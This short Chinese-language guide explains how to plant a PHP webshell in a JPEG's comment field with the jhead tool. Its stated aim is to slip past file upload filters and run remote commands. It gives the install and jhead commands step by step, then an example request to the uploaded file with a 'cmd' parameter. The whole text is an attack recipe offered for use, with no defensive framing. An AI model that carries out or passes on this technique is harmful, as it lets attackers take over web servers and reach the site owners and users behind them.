
PHP脚本及使用Jhead将PHP webshell注入JPEG图像的指南。用于绕过文件上传过滤器,并通过精心构造的图像文件实现远程命令执行。
$ pkg install vim or apt-get install vim
$ pkg install jhead or apt-get install jhead
$ jhead -h (查看帮助)
$ jhead -purejpg yourfiles.jpg
$ jhead -ce yourfiles.jpg
按 ESC 键,输入 :x 保存
$ jhead yourfiles.jpg
示例:site.com/youfiles.php?cmd=Command Here
